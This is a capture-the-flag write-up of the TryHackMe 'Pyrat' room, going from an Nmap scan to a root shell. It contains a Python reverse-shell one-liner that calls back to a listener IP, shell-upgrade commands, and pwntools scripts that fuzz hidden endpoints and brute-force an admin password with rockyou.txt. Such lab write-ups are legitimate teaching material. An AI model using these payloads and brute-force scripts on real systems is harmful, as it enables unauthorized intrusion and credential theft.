☕
Writeups
TryHackMeHackTheBoxReferralsDonateLinkedIn
  • Writeups
  • TryHackme
    • 2025
      • Hackfinity Battle Vault
      • Security Footage
      • Ledger
      • Moebius
      • Mayhem
      • Robots
      • Billing
      • Crypto Failures
      • Rabbit Store
      • Decryptify
      • You Got Mail
      • Smol
      • Light
      • Lo-Fi
      • Silver Platter
    • 2024
      • Advent of Cyber '24 Side Quest
        • T1: Operation Tiny Frostbite
        • T2: Yin and Yang
        • T3: Escaping the Blizzard
        • T4: Krampus Festival
        • T5: An Avalanche of Web Apps
      • The Sticker Shop
      • Lookup
      • Mouse Trap
      • Hack Back
      • SeeTwo
      • Whiterose
      • Rabbit Hole
      • Mountaineer
      • Extracted
      • Backtrack
      • Brains
      • Pyrat
      • K2
        • Base Camp
        • Middle Camp
        • The Summit
      • The London Bridge
      • Cheese CTF
      • Breakme
      • CERTain Doom
      • TryPwnMe One
      • Hammer
      • U.A. High School
      • IronShade
      • Block
      • Injectics
      • DX2: Hell's Kitchen
      • New York Flankees
      • NanoCherryCTF
      • Publisher
      • W1seGuy
      • mKingdom
      • Airplane
      • Include
      • CyberLens
      • Profiles
      • Whats Your Name?
      • Capture Returns
      • TryHack3M
        • TryHack3M: Burg3r Bytes
        • TryHack3M: Bricks Heist
        • TryHack3M: Sch3Ma D3Mon
        • TryHack3M: Subscribe
      • Creative
      • Bypass
      • Clocky
      • El Bandito
      • Hack Smarter Security
      • Summit
      • Chrome
      • Exfilibur
      • Breaking RSA
      • Kitty
      • Reset
      • Umbrella
      • WhyHackMe
      • Dodge
    • 2023
      • Advent of Cyber '23 Side Quest
        • The Return of the Yeti
        • Snowy ARMageddon
        • Frosteau Busy with Vim
        • The Bandit Surfer
      • Stealth
      • AVenger
      • Dreaming
      • DockMagic
      • Hijack
      • Bandit
      • Compiled
      • Super Secret TIp
      • Athena
      • Mother's Secret
      • Expose
      • Lesson learned?
      • Grep
      • Crylo
      • Forgotten Implant
      • Red
    • Obscure
    • Capture
    • Prioritise
    • Weasel
    • Valley
    • Race Conditions
    • Intranet
    • Flip
    • Cat Pictures 2
    • Red Team Capstone Challenge
      • OSINT
      • Perimeter Breach
      • Initial Compromise of Active Directory
      • Full Compromise of CORP Domain
      • Full Compromise of Parent Domain
      • Full Compromise of BANK Domain
      • Compromise of SWIFT and Payment Transfer
  • HackTheBox
    • 2025
      • Certified
    • 2024
      • BoardLight
      • Crafty
      • Devvortex
      • Surveillance
      • Codify
      • Manager
      • Drive
      • Zipping
    • 2023
      • Topology
Powered by GitBook
On this page
  • Recon
  • Shell as www-data
  • Shell as think
  • Shell as root

Was this helpful?

  1. TryHackme
  2. 2024

Pyrat

Test your enumeration skills on this boot-to-root machine. - by josemlwdf

PreviousBrainsNextK2

Last updated 8 months ago

Was this helpful?

The following post by 0xb0b is licensed under


Recon

We start with an Nmap scan and find two open ports. Port 22 is where we have SSH available and on port 8000 we might have a web server. On closer inspection, this is a simple HTTP server. This reminds of the module SimpleHTTPServer in Python.

When we request the index page, we are only told to use a much simpler connection.

Shell as www-data

We try the simplest thing we can think of - a simple connection using netcat. We get a connection, but no feedback. Maybe we are not actually facing a web server. We assume that we are probably in a Python environment. Maybe something like a Python shell, but there is nothing to suggest this. Simple calls like 1+1 don't work, and we don't seem to be in a shell. However, we get feedback for our whoami command that this is not defined. We would have gotten feedback if we used something like print(1+1).

nc pyrat.thm 8000

Let's try it blind with a Python reverse shell. First we set up a listener with nc -lnvp 4445. For the reverse shell, we use number 2 from revshells.com and copy the inner part.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.211.1",4445));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

Next, we enter the payload and...

... we receive a connection back. We are www-data. With the following commands we upgrade our shell. Unfortunately we cannot find the first flag as www-data.

SHELL=/bin/bash script -q /dev/null
CTRL+Z
stty raw -echo && fg

Interesting, though, we seem not to have access to the current directory. And furthermore, we see that the /root/.bashrc is loaded. We are in the root directory, and somehow we became www-data. There might be an interesting escape to get directly to root.

Shell as think

In the /opt directory, we notice the /dev folder. This in turn has a .git folder. We have a repository here. We check the config and find a password for the username think.

The password has been reused, we can now switch to the user or access the machine as think via SSH.

Shell as root

We look at the current git status and see that a file has been deleted. The image below shows how this is done in the SSH session, saving you unnecessary steps. In the following, the repository is first downloaded to the attacker's machine and then viewed.

We set up a Python web server.

Download the entire repository.

And start to analyze it. As mentioned before, a file has been deleted. The pyrat.py.old.

git status

With git restore we restore the file.

git restore pyrat.py.old

We see in the script that the switch_case function processes incoming data and performs actions based on specific conditions. If the data is 'some_endpoint', it calls the get_this_endpoint function to handle that request. If the data is 'shell', it attempts to spawn an interactive shell on the server, connecting the client's socket to the shell, enabling remote command execution. For any other data input, it runs the exec_python function, which executes the Python code sent through the socket. It spawns us a shell.

We go back to our necat connection on port 8000 and try shell. And we get a shell. It seems to be the program.

When we try 'some_endpoint' we get the message that it is not defined. Interesting, this is where we need to fuzz for endpoints with a custom script as mentioned in the room description.

The following shows how to fuzz for the end point. But that could also be guessed, which happened in the first attempt solving the machine. (Looking at the comments)

We chose a rather small wordlist for this since we want to work our way up and use pwntools which slows it a bit down, due to the fact that each attempt gets printed.

endpoints.py
from pwn import *

# Set the host and port
host = "pyrat.thm"
port = 8000

directory_file = "endpoints.txt"

# Connect to the target
def connect_to_service():
    return remote(host, port)

# Function to attempt login with a endpoint
def attempt_endpoint(endpoint):
    # Connect to the service
    conn = connect_to_service()
    # Send the endpoint from the list
    conn.sendline(endpoint.encode())

    response = conn.recvline(timeout=2)
    # Convert the endpoint to bytes before concatenating
    if b"name '" + endpoint.encode() + b"' is not defined\n" in response:
        conn.close()
        return False
    else: 
        print(f"Endpoint '{endpoint}' might be correct!")
        conn.close()
        return True


# Main function to loop through endpoint list
def fuzz_endpoints():
    with open(directory_file, "r", encoding="latin-1") as f:
        for endpoint in f:
            endpoint = endpoint.strip()
            # Skip lines starting with '#'
            if endpoint.startswith("#") or not endpoint:
            	continue
            if attempt_endpoint(endpoint):
                print(f"Found working endpoint: {endpoint}")
                break

if __name__ == "__main__":
    fuzz_endpoints()

We have a direct hit with 0, but this is only a false-positive.

The same applies to special characters or words with special characters.

We remove the numbers, special characters manually and the words with special chars - and _ from the list using awk.

awk '!/-|_/' endpoints.txt > filtered_endpoints.txt

After that, we run the script again...

... and find the endpoint admin after a short duration.

We try the admin endpoint and see that a password is now required. If we enter the wrong password, we receive another prompt for the password Password: again. This applies three times, then it does not ask for a password again.

We adapt our previous script to fuzz now for passwords using the rockyou.txt wordlist. We establish a new connection for the password entry every time because it stops after 3 attempts. This was actually the original script that got adapted to fuzz for the endpoints.

fuzz.py
from pwn import *

# Set the host and port
host = "pyrat.thm"
port = 8000

# File path for rockyou.txt password list
password_file = "/usr/share/wordlists/rockyou.txt"

# Connect to the target
def connect_to_service():
    return remote(host, port)

# Function to attempt login with a password
def attempt_password(password):
    # Connect to the service
    conn = connect_to_service()
    
    # Send 'admin' as the username
    conn.sendline(b"admin")
    
    # Wait for the password prompt
    conn.recvuntil(b"Password:")
    
    # Send the password from the list
    conn.sendline(password.encode())

    # Receive the response and check if we're prompted for a password again
    response = conn.recvline(timeout=2)
    response = conn.recvline(timeout=2)
    # Check if we're asked for the password again (indicates incorrect password)
    if b"Password:" in response:
        print(f"Password '{password}' failed.")
        conn.close()
        return False
    elif b"Welcome" in response or b"Success" in response:  # Adjust this based on the actual success message
        print(f"Password '{password}' might be correct!")
        conn.close()
        return True
    else:
        # Some other response that might indicate progress (adjust based on your observations)
        print(f"Unexpected response for password '{password}'. Response: {response}")
        conn.close()
        return False

# Main function to loop through password list
def fuzz_passwords():
    with open(password_file, "r", encoding="latin-1") as f:
        for password in f:
            password = password.strip()
            if attempt_password(password):
                print(f"Found working password: {password}")
                break

if __name__ == "__main__":
    fuzz_passwords()

We run the script and receive a password that seems valid, since the prompt for a password was not repeated.

We try this in our netcat connection, and are greeted with a welcome message to try out the shell. After entering 'shell', we receive a root shell and are able to read the flag at /root/root.txt.

https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d
CC BY 4.0
PyratTryHackMe
Upgrade Simple Shells to Fully Interactive TTYs
Logo
Logo